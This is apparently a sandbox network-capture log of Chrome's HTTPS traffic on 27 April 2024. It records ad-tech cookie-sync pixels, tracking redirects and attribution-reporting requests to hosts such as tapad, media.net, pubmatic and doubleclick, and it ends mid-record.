Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
450	192.168.2.4	50324	34.111.113.62	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:17 UTC	671	OUT	GET /idsync/ex/receive?partner_id=3355&partner_device_id=LVIOSA1W-7-6DCM&gdpr=0&us_privacy=1YNN HTTP/1.1 Host: pixel.tapad.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eus.rubiconproject.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:17 UTC	1089	IN	HTTP/1.1 302 Found Date: Sat, 27 Apr 2024 22:42:17 GMT Strict-Transport-Security: max-age=31536000 Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-Mobile Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-WoW64 P3P: policyref="http://tapad-taptags.s3.amazonaws.com/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" Set-Cookie: TapAd_TS=1714257737362;Expires=Wed, 26 Jun 2024 22:42:17 GMT;Path=/;Domain=.tapad.com;Secure;SameSite=None Set-Cookie: TapAd_DID=da33c8c4-591f-41d2-a1ee-393c2b417291;Expires=Wed, 26 Jun 2024 22:42:17 GMT;Path=/;Domain=.tapad.com;Secure;SameSite=None Location: https://pixel.tapad.com/idsync/ex/receive/check?partner_id=3355&partner_device_id=LVIOSA1W-7-6DCM&gdpr=0&us_privacy=1YNN Content-Length: 0 Server: Jetty(11.0.13) Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
451	192.168.2.4	50323	66.218.87.15	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:17 UTC	1625	OUT	POST /p?s=2023538075&t=1714257735726&_I=&_AO=0&_NOL=0&etag=performance&etrg=backgroundPost&outcm=performance&usergenf=0&src=unknown&site=fp&partner=none&lang=en-US&region=US&device=desktop&colo=bf1&test=drop_heimdall_homepage_control_bucket%2CMimicControlv2-copy%2Chomepage_taboola_benji_1_control%2Cseamless&rid=1sbetl5j2qvpa&pd=unknown&pt=home&A_utm=%7B%22GAM_MID_RIGHT_A_BRSTIME%22%3A4304%2C%22GAM_MID_RIGHT_A_FTIME%22%3A14357%2C%22GAM_MID_RIGHT_A_RTIME%22%3A31044%7D HTTP/1.1 Host: geo.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2
2024-04-27 22:42:17 UTC	503	IN	HTTP/1.1 200 OK date: Sat, 27 Apr 2024 22:42:17 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: no-cache, no-store, private pragma: no-cache content-length: 43 content-type: image/gif x-envoy-upstream-service-time: 1 server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000
2024-04-27 22:42:17 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
452	192.168.2.4	50327	23.45.148.30	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:17 UTC	875	OUT	GET /cksync.php?cs=8&vsid=3572593249104590000V10&type=son&refUrl=&vid=42577288383572593249104590000V10&axid_e=&ovsid=2d729954-b637-472c-acf0-d931fcda5d4a HTTP/1.1 Host: contextual.media.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://contextual.media.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: usp_status=1; visitor-id=3572593249104590000V10; data-rk=1977432098227636774~~8; data-r=LVIOSA1W-7-6DCM~~1; data-pbs=setstatuscode~~1
2024-04-27 22:42:17 UTC	645	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 57 Content-Type: image/gif Set-Cookie: data-so=2d729954-b637-472c-acf0-d931fcda5d4a~~8;Expires=Sat, 25 May 2024 22:42:17 GMT;path=/;domain=.media.net; sameSite=none; secure=true p3p: CP="NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA" P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA Strict-Transport-Security: max-age=31536000 Alt-Svc: h3=":443"; ma=93600 x-mnet-hl2: E Expires: Sat, 27 Apr 2024 22:42:17 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Sat, 27 Apr 2024 22:42:17 GMT Connection: close
2024-04-27 22:42:17 UTC	43	IN	Data Raw: 47 49 46 38 37 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 04 0a 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF87a!,L;
2024-04-27 22:42:17 UTC	14	IN	Data Raw: 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
453	192.168.2.4	50326	207.65.37.184	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:17 UTC	1020	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTI4NDkmdGw9MTI5NjAw&piggybackCookie=43e7dc8e-5458-4375-be4a-644737ed4dbd&gdpr=0&gdpr_consent= HTTP/1.1 Host: simage2.pubmatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B; chkChromeAb67Sec=1; pi=133799:2; DPSync3=1715385600%3A201_263%7C1714780800%3A252_265; SyncRTB3=1715385600%3A220_104_231_3_21_13_54_71_250%7C1714780800%3A223; KRTBCOOKIE_57=22776-1476058396850158061&KRTB&23339-1476058396850158061; PugT=1714257732
2024-04-27 22:42:17 UTC	744	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 27 Apr 2024 22:42:17 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close Set-Cookie: KRTBCOOKIE_377=6810-43e7dc8e-5458-4375-be4a-644737ed4dbd&KRTB&22918-43e7dc8e-5458-4375-be4a-644737ed4dbd&KRTB&22926-43e7dc8e-5458-4375-be4a-644737ed4dbd&KRTB&23031-43e7dc8e-5458-4375-be4a-644737ed4dbd; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 26-Jul-2024 22:42:17 GMT; path=/ Set-Cookie: PugT=1714257737; domain=pubmatic.com; SameSite=None; secure; expires=Mon, 27-May-2024 22:42:17 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-04-27 22:42:17 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
454	192.168.2.4	50329	23.45.148.30	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:17 UTC	836	OUT	GET /cksync.php?cs=1&type=crt&ovsid=3a1484ea-90ac-4bdd-895c-934bad280353&gdpr=0&gdpr_consent=&us_privacy=&gpp=DBAA HTTP/1.1 Host: contextual.media.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://contextual.media.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: usp_status=1; visitor-id=3572593249104590000V10; data-rk=1977432098227636774~~8; data-r=LVIOSA1W-7-6DCM~~1; data-pbs=setstatuscode~~1
2024-04-27 22:42:17 UTC	850	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 57 Content-Type: image/gif Set-Cookie: data-c=3a1484ea-90ac-4bdd-895c-934bad280353~~1;Expires=Mon, 27 May 2024 22:42:17 GMT;path=/;domain=.media.net; sameSite=none; secure=true Set-Cookie: data-c-ts=1714257737;Expires=Mon, 27 May 2024 22:42:17 GMT;path=/;domain=.media.net; sameSite=none; secure=true p3p: CP="NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA" P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA Strict-Transport-Security: max-age=31536000 Alt-Svc: h3=":443"; ma=93600 x-mnet-hl2: E Expires: Sat, 27 Apr 2024 22:42:17 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Sat, 27 Apr 2024 22:42:17 GMT Connection: close
2024-04-27 22:42:17 UTC	43	IN	Data Raw: 47 49 46 38 37 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 04 0a 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF87a!,L;
2024-04-27 22:42:17 UTC	14	IN	Data Raw: 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
455	192.168.2.4	50332	23.45.148.30	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:17 UTC	876	OUT	GET /cksync.html?cs=8&vsid=3572593249104590000V10&type=opx&refUrl=&vid=42577288383572593249104590000V10&axid_e=&ovsid=0c862afa-665c-0e9e-22ac-a733d256e22a HTTP/1.1 Host: contextual.media.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://contextual.media.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: usp_status=1; visitor-id=3572593249104590000V10; data-rk=1977432098227636774~~8; data-r=LVIOSA1W-7-6DCM~~1; data-pbs=setstatuscode~~1
2024-04-27 22:42:17 UTC	659	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 231 Content-Type: text/html;charset=UTF-8 Set-Cookie: data-o=0c862afa-665c-0e9e-22ac-a733d256e22a~~8;Expires=Sat, 26 Apr 2025 22:42:17 GMT;path=/;domain=.media.net; sameSite=none; secure=true p3p: CP="NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA" P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA Strict-Transport-Security: max-age=31536000 Alt-Svc: h3=":443"; ma=93600 x-mnet-hl2: E Expires: Sat, 27 Apr 2024 22:42:17 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Sat, 27 Apr 2024 22:42:17 GMT Connection: close
2024-04-27 22:42:17 UTC	150	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 69 66 20 28 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 2e 69 6e 64 65 78 4f 66 28 22 69 73 48 74 6d 6c 3d 31 22 29 20 21 3d 3d 20 2d 31 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 74 6f 70 2e 70 6f 73 74 4d 65 73 73 61 67 65 28 7b 22 74 79 70 65 22 3a 22 63 6b 73 79 6e 63 22 2c 22 6e 61 6d 65 22 3a 22 Data Ascii: <!DOCTYPE html><html><head><script>if (window.location.href.indexOf("isHtml=1") !== -1) { window.top.postMessage({"type":"cksync","name":"
2024-04-27 22:42:17 UTC	81	IN	Data Raw: 22 2c 22 6f 76 73 69 64 22 3a 22 22 7d 2c 20 27 2a 27 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 Data Ascii: ","ovsid":""}, '*'); } </script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
456	192.168.2.4	50331	23.45.148.30	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:17 UTC	793	OUT	GET /cksync.php?type=mf&ovsid=786797b7-bf38-456a-a874-4aad6fb5186b&cs=1 HTTP/1.1 Host: contextual.media.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://contextual.media.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: usp_status=1; visitor-id=3572593249104590000V10; data-rk=1977432098227636774~~8; data-r=LVIOSA1W-7-6DCM~~1; data-pbs=setstatuscode~~1
2024-04-27 22:42:17 UTC	645	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 57 Content-Type: image/gif Set-Cookie: data-mf=786797b7-bf38-456a-a874-4aad6fb5186b~~1;Expires=Sun, 27 Apr 2025 22:42:17 GMT;path=/;domain=.media.net; sameSite=none; secure=true p3p: CP="NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA" P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA Strict-Transport-Security: max-age=31536000 Alt-Svc: h3=":443"; ma=93600 x-mnet-hl2: E Expires: Sat, 27 Apr 2024 22:42:17 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Sat, 27 Apr 2024 22:42:17 GMT Connection: close
2024-04-27 22:42:17 UTC	43	IN	Data Raw: 47 49 46 38 37 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 04 0a 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF87a!,L;
2024-04-27 22:42:17 UTC	14	IN	Data Raw: 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
457	192.168.2.4	50336	142.251.167.148	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:17 UTC	523	OUT	POST /.well-known/attribution-reporting/debug/verbose HTTP/1.1 Host: ad.doubleclick.net Connection: keep-alive Content-Length: 282 Pragma: no-cache Cache-Control: no-cache Content-Type: application/json Origin: https://ad.doubleclick.net Sec-Fetch-Site: same-origin Sec-Fetch-Mode: same-origin Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:17 UTC	282	OUT	Data Raw: 5b 7b 22 62 6f 64 79 22 3a 7b 22 61 74 74 72 69 62 75 74 69 6f 6e 5f 64 65 73 74 69 6e 61 74 69 6f 6e 22 3a 5b 22 68 74 74 70 73 3a 2f 2f 64 65 62 75 67 63 6f 6e 76 65 72 73 69 6f 6e 64 6f 6d 61 69 6e 31 2e 63 6f 6d 22 2c 22 68 74 74 70 73 3a 2f 2f 64 65 62 75 67 63 6f 6e 76 65 72 73 69 6f 6e 64 6f 6d 61 69 6e 32 2e 63 6f 6d 22 2c 22 68 74 74 70 73 3a 2f 2f 68 6f 6e 64 61 64 65 61 6c 65 72 73 2e 63 6f 6d 22 5d 2c 22 73 6f 75 72 63 65 5f 64 65 62 75 67 5f 6b 65 79 22 3a 22 31 34 35 31 35 31 31 32 35 33 39 36 34 35 37 31 33 39 39 30 22 2c 22 73 6f 75 72 63 65 5f 65 76 65 6e 74 5f 69 64 22 3a 22 31 34 34 35 38 35 30 38 34 36 35 30 37 39 39 32 32 38 34 34 22 2c 22 73 6f 75 72 63 65 5f 73 69 74 65 22 3a 22 68 74 74 70 73 3a 2f 2f 79 61 68 6f 6f 2e 63 6f 6d 22 Data Ascii: [{"body":{"attribution_destination":["https://debugconversiondomain1.com","https://debugconversiondomain2.com","https://hondadealers.com"],"source_debug_key":"14515112539645713990","source_event_id":"14458508465079922844","source_site":"https://yahoo.com"
2024-04-27 22:42:17 UTC	493	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Content-Type: text/html; charset=UTF-8 X-Content-Type-Options: nosniff Date: Sat, 27 Apr 2024 22:42:17 GMT Server: cafe Content-Length: 0 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
458	192.168.2.4	50337	207.65.37.184	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:17 UTC	1028	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9MzI1MCZ0bD0xMjk2MDA=&piggybackCookie=f10e083f-54cc-4ce5-aa07-8210352e586a&gdpr=0&gdpr_consent= HTTP/1.1 Host: simage2.pubmatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B; chkChromeAb67Sec=1; pi=133799:2; DPSync3=1715385600%3A201_263%7C1714780800%3A252_265; SyncRTB3=1715385600%3A220_104_231_3_21_13_54_71_250%7C1714780800%3A223; KRTBCOOKIE_57=22776-1476058396850158061&KRTB&23339-1476058396850158061; PugT=1714257732
2024-04-27 22:42:17 UTC	696	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 27 Apr 2024 22:42:17 GMT Content-Type: text/html; charset=utf-8 Content-Length: 1 Connection: close Set-Cookie: KRTBCOOKIE_279=22890-f10e083f-54cc-4ce5-aa07-8210352e586a&KRTB&23011-f10e083f-54cc-4ce5-aa07-8210352e586a&KRTB&23355-f10e083f-54cc-4ce5-aa07-8210352e586a; domain=pubmatic.com; SameSite=None; secure; expires=Mon, 27-May-2024 22:42:17 GMT; path=/ Set-Cookie: PugT=1714257737; domain=pubmatic.com; SameSite=None; secure; expires=Mon, 27-May-2024 22:42:17 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-04-27 22:42:17 UTC	1	IN	Data Raw: 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
459	192.168.2.4	50339	23.45.148.30	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:17 UTC	854	OUT	GET /cksync.php?cs=8&vsid=3572593249104590000V10&type=dxu&refUrl=&vid=42577288383572593249104590000V10&axid_e=&ovsid=o2ksvWLN1S0QKf5 HTTP/1.1 Host: contextual.media.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://contextual.media.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: usp_status=1; visitor-id=3572593249104590000V10; data-rk=1977432098227636774~~8; data-r=LVIOSA1W-7-6DCM~~1; data-pbs=setstatuscode~~1
2024-04-27 22:42:17 UTC	624	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 57 Content-Type: image/gif Set-Cookie: data-xu=o2ksvWLN1S0QKf5~~8;Expires=Sat, 26 Apr 2025 22:42:17 GMT;path=/;domain=.media.net; sameSite=none; secure=true p3p: CP="NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA" P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA Strict-Transport-Security: max-age=31536000 Alt-Svc: h3=":443"; ma=93600 x-mnet-hl2: E Expires: Sat, 27 Apr 2024 22:42:17 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Sat, 27 Apr 2024 22:42:17 GMT Connection: close
2024-04-27 22:42:17 UTC	43	IN	Data Raw: 47 49 46 38 37 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 04 0a 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF87a!,L;
2024-04-27 22:42:17 UTC	14	IN	Data Raw: 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
460	192.168.2.4	50328	69.194.240.13	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:17 UTC	1155	OUT	GET /usersync2/rmp1r1?sub=medianet&zcc=1&redir=https%3A%2F%2Fcontextual.media.net%2Fcksync.php%3Fcs%3D8%26vsid%3D3572593249104590000V10%26type%3Dr1%26refUrl%3D%26vid%3D42577288383572593249104590000V10%26axid_e%3D%26ovsid%3D%5BRX_UUID%5D&cb=1714257730544 HTTP/1.1 Host: sync.1rx.io Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://contextual.media.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _rxuuid=%7B%22rx_uuid%22%3A%22RX-915945b2-6af3-4975-9839-febe73c73a74-005%22%2C%22zdxidn%22%3A%222057.4%22%2C%22nxtrdr%22%3A%22https%3A%2F%2Fcontextual.media.net%2Fcksync.php%3Fcs%3D8%26vsid%3D3572593249104590000V10%26type%3Dr1%26refUrl%3D%26vid%3D42577288383572593249104590000V10%26axid_e%3D%26ovsid%3D%5BRX_UUID%5D%22%7D
2024-04-27 22:42:17 UTC	834	IN	HTTP/1.1 302 Found date: Sat, 27 Apr 2024 22:42:16 GMT content-type: text/html transfer-encoding: chunked cache-control: no-store, no-cache, must-revalidate expires: 0 pragma: no-cache set-cookie: _rxuuid=%7B%22rx_uuid%22%3A%22RX-915945b2-6af3-4975-9839-febe73c73a74-005%22%2C%22zdxidn%22%3A%222057.4%22%2C%22nxtrdr%22%3A%22https%3A%2F%2Fcontextual.media.net%2Fcksync.php%3Fcs%3D8%26vsid%3D3572593249104590000V10%26type%3Dr1%26refUrl%3D%26vid%3D42577288383572593249104590000V10%26axid_e%3D%26ovsid%3D%5BRX_UUID%5D%22%7D; path=/; expires=Sun, 27 Apr 2025 22:42:16 GMT; domain=.1rx.io; samesite=none; secure; httponly p3p: CP="This is not a P3P policy! See https://www.rhythmone.com/p3p to learn why" location: 